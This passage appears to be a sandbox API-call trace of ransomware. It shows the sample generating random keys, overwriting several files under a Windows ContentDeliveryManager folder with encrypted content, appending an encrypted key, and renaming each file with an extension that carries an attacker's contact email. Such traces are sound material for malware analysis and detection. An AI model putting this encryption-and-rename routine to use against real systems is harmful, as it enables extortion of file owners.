lpMem=0x60b820 | out: hHeap=0x520000) returned 1 [0171.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a8a8 [0171.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.345] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605", dwFileAttributes=0x80) returned 1 [0171.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60aa10 [0171.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5c40 [0171.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60aa10 | out: hHeap=0x520000) returned 1 [0171.345] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.346] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2015) returned 1 [0171.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7df) returned 0x2f74cc0 [0171.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7df) returned 0x33b6018 [0171.346] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x7df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x7df, lpOverlapped=0x0) returned 1 [0171.351] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-2015, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.351] WriteFile (in: hFile=0x1830, lpBuffer=0x33b6018*, nNumberOfBytesToWrite=0x7df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7df, lpOverlapped=0x0) returned 1 [0171.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0171.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0171.351] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7df [0171.351] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.351] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.352] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.352] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.352] CloseHandle (hObject=0x1830) returned 1 [0171.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.352] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5c40 | out: hHeap=0x520000) returned 1 [0171.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a8a8 | out: hHeap=0x520000) returned 1 [0171.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a740 | out: hHeap=0x520000) returned 1 [0171.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60b118 [0171.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.354] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe", dwFileAttributes=0x80) returned 1 [0171.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60b280 [0171.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4038 [0171.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b280 | out: hHeap=0x520000) returned 1 [0171.354] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.354] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=640044) returned 1 [0171.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9c42c) returned 0x6fc020 [0171.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9c42c) returned 0x352d020 [0171.358] ReadFile (in: hFile=0x1830, lpBuffer=0x6fc020, nNumberOfBytesToRead=0x9c42c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc020*, lpNumberOfBytesRead=0x2e1f9bc*=0x9c42c, lpOverlapped=0x0) returned 1 [0171.415] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-640044, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.415] WriteFile (in: hFile=0x1830, lpBuffer=0x352d020*, nNumberOfBytesToWrite=0x9c42c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352d020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9c42c, lpOverlapped=0x0) returned 1 [0171.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6fc020 | out: hHeap=0x520000) returned 1 [0171.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x352d020 | out: hHeap=0x520000) returned 1 [0171.422] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9c42c [0171.422] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.422] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.422] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.422] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.422] CloseHandle (hObject=0x1830) returned 1 [0171.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.423] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4038 | out: hHeap=0x520000) returned 1 [0171.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b118 | out: hHeap=0x520000) returned 1 [0171.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b6b8 | out: hHeap=0x520000) returned 1 [0171.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73420 [0171.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0171.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.425] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0171.425] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.425] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7", dwFileAttributes=0x80) returned 1 [0171.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f74230 [0171.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b55c8 [0171.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74230 | out: hHeap=0x520000) returned 1 [0171.429] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.429] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1538) returned 1 [0171.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x602) returned 0x2f74cc0 [0171.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x602) returned 0x33b6018 [0171.429] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x602, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x602, lpOverlapped=0x0) returned 1 [0171.442] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.442] WriteFile (in: hFile=0x1830, lpBuffer=0x33b6018*, nNumberOfBytesToWrite=0x602, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x602, lpOverlapped=0x0) returned 1 [0171.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0171.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0171.442] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x602 [0171.443] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.443] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.443] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.443] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.443] CloseHandle (hObject=0x1830) returned 1 [0171.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0171.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.443] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\60c584368b3ec9125cd681bda1f4ed690980a7c6c0e09fbbfdcd7202759b50d7.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b55c8 | out: hHeap=0x520000) returned 1 [0171.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73420 | out: hHeap=0x520000) returned 1 [0171.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618a00 | out: hHeap=0x520000) returned 1 [0171.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618a00 [0171.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0171.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0171.445] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa", dwFileAttributes=0x80) returned 1 [0171.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f72bb0 [0171.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4038 [0171.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f72bb0 | out: hHeap=0x520000) returned 1 [0171.446] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.446] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16775) returned 1 [0171.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4187) returned 0x30d1028 [0171.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4187) returned 0x30d51b8 [0171.446] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4187, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4187, lpOverlapped=0x0) returned 1 [0171.464] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16775, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.464] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51b8*, nNumberOfBytesToWrite=0x4187, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4187, lpOverlapped=0x0) returned 1 [0171.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0171.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d51b8 | out: hHeap=0x520000) returned 1 [0171.464] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4187 [0171.464] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.464] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.464] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.465] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.465] CloseHandle (hObject=0x1830) returned 1 [0171.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0171.465] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5df1a43b84ef89aecd0913e8dbd20a4e1085021825809447d6ebb7f1526ba4fa.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4038 | out: hHeap=0x520000) returned 1 [0171.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618a00 | out: hHeap=0x520000) returned 1 [0171.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618460 | out: hHeap=0x520000) returned 1 [0171.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618460 [0171.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0171.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0171.469] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596", dwFileAttributes=0x80) returned 1 [0171.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618a00 [0171.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4f50 [0171.470] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618a00 | out: hHeap=0x520000) returned 1 [0171.470] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\5d9f730772f2f4390c5c1b8a100817d1a1d8896b02cb3257a47fcb9bdee4c596"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.470] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=831) returned 1 [0171.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33f) returned 0x2f74cc0 [0171.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33f) returned 0x2f75008 [0171.470] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x33f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x33f, lpOverlapped=0x0) returned 1 [0171.482] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.482] WriteFile (in: hFile=0x1830, lpBuffer=0x2f75008*, nNumberOfBytesToWrite=0x33f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f75008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33f, lpOverlapped=0x0) returned 1 [0171.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0171.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f75008 | out: 